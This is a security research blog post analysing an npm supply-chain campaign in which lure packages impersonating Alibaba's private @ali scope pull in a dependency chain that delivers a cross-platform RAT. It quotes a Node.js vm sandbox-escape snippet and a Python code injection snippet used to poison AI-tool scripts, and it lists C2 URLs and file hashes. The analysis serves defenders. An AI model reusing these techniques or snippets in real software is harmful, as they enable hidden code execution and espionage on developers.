threat_intelligence2025 wordsRead on Arc Codex

Distributed npm Package Cluster Delivers Cross-Platform RAT Targeting Alibaba Developers

Research /Security News Two Joyfill npm Beta Releases Compromised to Deliver DEV#POPPER Remote Access Trojan Two Joyfill npm beta releases contain an import-time implant that uses blockchain transactions to retrieve a remote-access trojan. Benign-looking npm packages split malicious functionality across a dependency chain that deploys a cross-platform RAT targeting Alibaba developers. July 28, 2026 8 min read Unknown threat actors distribute malicious downloader functionality separated across several npm packages targeting users of Alibaba tools. The final payload is a covert and highly targeted RAT capable of data exfiltration, command execution and lateral spreading using DingTalk tools Analysis of a malicious npm package lib-mtop containing a simple downloader malware led to an investigation into a targeted campaign that remained undetected for 3 months. The lib-mtop package, originally published three years ago, had three new versions published at the end of March, 2026. This indicates a potential maintainer account takeover, but the possibility of a maintainer going rogue can’t be excluded. Whichever the case, it is not that relevant for the story, since there was only one version of the lib-mtop package initially published, with no functionality and an insignificant number of downloads. The only reason why this package is relevant for the research is the fact that it is an unscoped package name imitating a private package from the @ali scope. This scope is not available for registration on npm, and is most likely reserved for security reasons or already registered by Alibaba Group. Code references to packages from this scope can be found across several GitHub repositories. The @ali scope is used for hosting Alibaba's private packages used in internal projects and tooling. The malware in the lib-mtop package is a classic malicious loader fetching a hardcoded remote JavaScript payload using curl, and executing it via require() from the disk. It doesn’t use any novel or interesting techniques. The same maintainer account published 4 other packages, aone-kit , aone-kit-cli , aone-sandbox and ****local-config-parser . The first three are empty wrappers that have the same name as private, @ali -scoped packages which they declare as a dependency in the package.json file. The last package, local-config-parser is the most interesting one. Described as “JSON configuration file parser with built-in rule evaluation engine.” it truly implements that logic. It parses rules from a local json config file and evaluates them using Node.js vm module for isolated expression evaluation. Nothing suspicious to observe, a regular package doing exactly what it describes, communicates only with the local system and even performs execution of untrusted code in an isolated environment. A typical analyst verdict would be non-malicious. But the context around the package led to a different classification. Examination of the dependency tree revealed the malicious nature of several, on their own, innocent-looking packages, published from different user account. Combined together they deliver an advanced remote access tool (RAT) in a campaign targeting developers most likely working in companies that are part of the Alibaba Group. The malicious loader functionality is distributed into several packages delivered to the targets as part of the same dependency tree. The top-layer packages serve as lures that trigger the installation of the dependency tree. They implement the same tactic observed in the lib-mtop package - an unscoped package name impersonating private packages from the @ali scope and including them as a dependency. When such package is installed in an environment that has access to impersonated, scoped private packages, the dependency resolution works as expected, with a little extra functionality delivered through additional dependencies that get installed. All 10 top-layer lure packages depend on the same middle-layer package smart-config-manager . It defines two dependencies - cloud-config-fetcher containing configuration fetching logic and local-config-parser containing rule evaluation logic. Packages were published by different npm maintainer accounts in an attempt to hide the connection between them and make them look unrelated. But the time information about user account creation and package publishing surfaces the relation between them. The campaign appears to have been staged across April 27 and 28. The actors first published node-data-utils and fast-transform-pipeline , which appear to have served as tests of the multi-package delivery mechanism. The rest of the dependency chain followed on April 28 across several publisher accounts. Most were newly created for the campaign, while local-config-parser was published by the older ch4ce account, suggesting a possible account takeover. node-data-utils (neural_dev )fast-transform-pipeline (tensor_lab )cloud-config-fetcher (tensor_lab )local-config-parser (ch4ce )smart-config-manager (luck_show )aone-cloud-cli (aone_code )colder-cli (aone_code )def-open-client (aone_code )feedback-ai-sdk (aone_code )flight-compare-analyzer (aone_code )lwp-web-client (aone_code )lzd-unified-station-sdk (aone_code )open-worker-cli (aone_code )test-skill-zip (aone_code )uniapi-bridge (aone_code )Both of the low-layer packages implement the described rule parsing and evaluation properly, but also contain additional auto-initialization logic. In the case of the cloud-config-fetcher package, the auto-initialization logic downloads a default configuration from attacker controlled GitHub repository: hxxps://raw[.]githubusercontent[.]com/smi1e2u/smart-config-manager/main/defaults/preferences.json The fetched configuration is saved to a local file named .cloud-preferences.json . The auto-initialization logic in the local-config-parser package is configured to read and parse the configuration from that same file and execute the rules defined in it. These three packages together implement the download&execute code pattern using attacker controlled GitHub repository as the location where the actual malicious code is hosted. The malicious code in the GitHub repository is hidden from plain sight and camouflaged in one of the rules whose expressions get executed. At the very start and end of the expression, the code pretends to be a normal configuration rule. It defines mathematical multipliers for categories encountered in other rules: var multipliers = { A: 0.85, B: 0.9, C: 0.7 }; ... return items.map(function(item) { ... }); // Lowers values based on category Between these lines containing benign functionality, the code that performs payload download is defined. As previously mentioned, the rule evaluation logic from the local-config-parser package uses the vm module for isolated expression evaluation to give a false sense of security to the whole package. The malicious code defined in the configuration rules uses a classic Node.js vm sandbox escape technique to bypass these protections: var F = items.constructor.constructor; var p = F('return process')(); Code execution in vm is performed by passing code expressions for evaluation to a sandbox created with a given context data which these expressions are expected to transform. The logic defined in local-config-parser package passes data through an object named items . The malicious code looks at the constructor of items object to get a reference to the global Function constructor outside the sandbox. Calling F('return process')() gives the malware full access to the host machine's Node.js process global variable, completely neutralizing security boundaries imposed by the vm sandbox. The malicious code then tries 6 different methods to access Node's module loader system - require or _load . It tries to access them using modern and legacy Node.js methods by trying to extract the loader through process.getBuiltinModule , process.mainModule , or by searching for them in host's root global container. If the loader system is successfully accessed, the code loads the http module and downloads and executes a third-stage setting.js payload from attacker controlled C2 server also hosted in Alibaba Cloud to blend in with the regular traffic: hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js This stage uses the same sandbox evasion technique described earlier. It performs initial reconnaissance and platform fingerprinting and based on the discovered host platform downloads the stage four aone-cli payload and sets persistence mechanisms: macOS: Inserts malicious background script into ~/.zshrc and sets up a 10-minute Launch Agent. Windows: Kills the official Alilang security app and replaces its core code (app.asar) with a Trojan copy. Linux: Downloads a binary payload to /tmp, runs it detached, and deletes the file from disk after loaded into memory. Additionally it performs silencing of logging mechanisms and cleanup of the malicious artifacts downloaded during previous stages of infection. The final payload stored in files named aone-cli is another proof of a targeted nature of the campaign. Aone is the internal R&D infrastructure of Alibaba Group. It supports developers from core business units, including Taobao & Tmall Group and Alibaba Cloud, in executing key R&D workflows such as code management, requirements management, and change release. This payload is a cross-platform RAT with wide range of functionalities. These include command execution, arbitrary file upload and download, host reconnaissance, payload staging, an encrypted reverse TCP proxy, application-specific persistence through code injection, and DingTalk lateral movement. It automatically checks in to a hardcoded command-and-control endpoint and starts polling for commands whenever the file is executed or imported. The RAT includes a predefined set of supported commands, but it is not limited to them since anything else is forwarded to the local operating-system shell: info sleep pwd whoami ipconfig / ifconfig dir / ls cat read screenshot download upload pull execute run_python proxy aisearch install_python_module install_node_module aipoison aipoison_inject aipoison_deploy dws_lateral exit Persistence mechanisms include poisoning of AI-tools by patching Python scripts located inside .skills directories of a specific set of tools with code snippets that execute a malicious script.js previously downloaded from the C2 server. Targeted tools are typical of Chinese-speaking environment and include DingTalk, Wukong and Qoder enterprise collaboration tools. // 要注入的 Python 代码片段(标记用于检测是否已注入) //Translation: Python code snippet to be injected (marked to detect whether injection has already occurred) const injectMarker = '# __INJECT_MARKER__'; const injectCode = [ ` ${injectMarker}`, ` try:`, ` import os as _os`, ` _bun_name = 'bun.exe' if _os.name == 'nt' else 'bun'`, ` _bun = _os.path.join(_os.path.expanduser('~'), '.real', '.bin', _bun_name)`, ` _script = _os.path.join(_os.path.dirname(_bun), 'script.js')`, ` if _os.path.exists(_bun) and _os.path.exists(_script):`, ` _flags = 0x08000000 if _os.name == 'nt' else 0`, ` subprocess.Popen([_bun, _script], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, creationflags=_flags)`, ` except Exception:`, ` pass`, ].join('\n'); Network traffic to C2 server is also camouflaged by adding fake Origin and Referer headers to http requests whose values areset to https://alidocs.dingtalk.com to look like it is generated from visitors of the official DingTalk pages. The code in later-stage payloads is heavily commented in Chinese language. GitHub commits are timestamped with UTC+0800 timezone information (China Standard Time). While these information can be faked, and shouldn’t be taken as a strong evidence of attribution, they suggest this could be a campaign operated by a Chinese-speaking threat actor. The entire campaign, from the frontend lures wrapping packages from the private @ali scope under identical names, to the final-stage payloads targeting enterprise collaboration tools from Alibaba Group, supports the conclusion about a very targeted campaign focused on Chinese speaking developers using tools belonging to Alibaba Group. The goal of the campaign seems to be industrial espionage. While the number of downloads for the malicious packages is not significant, the impact of the campaign is hard to evaluate, because of the targeted nature and lateral-spread capabilities of the final-stage payload. The fact that the entire campaign infrastructure is still active more than 3 months after publishing gives a sense of the sophistication level involved. Teams that installed any affected package should treat the installing environment as potentially compromised, remediation should be performed from a clean machine, not from the potentially infected host. Recommended response: # __INJECT_MARKER__ Origin and Referer headers set to https://alidocs.dingtalk.com .ROBOT_UID with value assigned to 3201d407b7899a12d6d439950511c6a5 .lib-mtop aone-kit aone-kit-cli aone-sandbox local-config-parser smart-config-manager cloud-config-fetcher fast-transform-pipeline aone-cloud-cli colder-cli def-open-client feedback-ai-sdk flight-compare-analyzer lwp-web-client lzd-unified-station-sdk open-worker-cli test-skill-zip uniapi-bridge smi1e2u - malicious maintainer accountfast-transform-pipeline - testing repositorysmart-config-manager - repository containing config file with the malicious rule84a6ccaaab1596139d28e822f40cc99c68d337d4c81d1c6d9692c1d6bb22e4af - preferences.json config file containing malicious rules with second stage loader6044974c633b3a319c31bb32110411520c425e89722a64806528553227e7a50a - setting.js third-stage loader0910ecfa049738ef3f2540855341a380df89224ff71da94b4c21689fd66f62e3 - aone-cli.js deployed on macOS systemsb8b81af76163bdcc5b4f7d8fe6795f164991f8a62678c971db031b9e90a27813 - aone-cli deployed on Linux systemsef9a1896eeaae929800eade768276e2240ef252d26d0d96c1950a1a5e1aadb34 - aone-cli.zip deployed on Windows systemse5d8350f1540fe91145dc262c455bca7748ad97dafb2d9facd5adebed9f66d2d - aone-cli-deps.tar.gz containing older version of aone-cli.js 41957bd0ba2d9c07af2e069f10780fdf6b2102c065bebe0db2136dfe07d67a28 - crypto.js third-stage loader from lib-mtop package33b58598eb317553942e27545982d4c25ce6120eae10e42393746eb0e02ecae9 - aone-kit-update deployed on Linux systems from lib-mtop packagexemzqli2vu[.]ai-app[.]pub primary C2 domaindiamond-cli-znsxphqell[.]cn-shanghai[.]fcapp[.]run reverse-proxy WebSocket C2hxxps://aone-cli-next[.]oss-cn-beijing[.]aliyuncs[.]com/config/setting.js hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli.js hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli-deps.tar.gz hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli hxxps://aone-ai-cli[.]oss-cn-beijing[.]aliyuncs[.]com/app/release/aone-cli.zip hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/plugins/crypto.js hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/aone-kit.js hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/app.asar hxxps://aone-kit[.]oss-cn-beijing[.]aliyuncs[.]com/aone-kit-update/aone-kit-update # __INJECT_MARKER__ 3201d407b7899a12d6d439950511c6a5 value assigned to ROBOT_UID environment variableSubscribe to our newsletter Get notified when we publish new security blog posts! Research /Security News Two Joyfill npm beta releases contain an import-time implant that uses blockchain transactions to retrieve a remote-access trojan. Security News /Research A fake corepack.org site is impersonating the Node.js tool and delivers an infostealer and proxyware to developers who download it. Research /Security News A large-scale campaign abused GitHub Actions in compromised repositories to exploit CVE-2026-41940 in cPanel and WHM and steal server credentials.

How it works

Once you click Generate, Ollama reads this article and crafts 5 comprehension questions. Your answers are graded against the article content — general knowledge won't be enough. Score 70+ to count toward your certificate.

Questions are cached — you'll always get the same 5 for this article.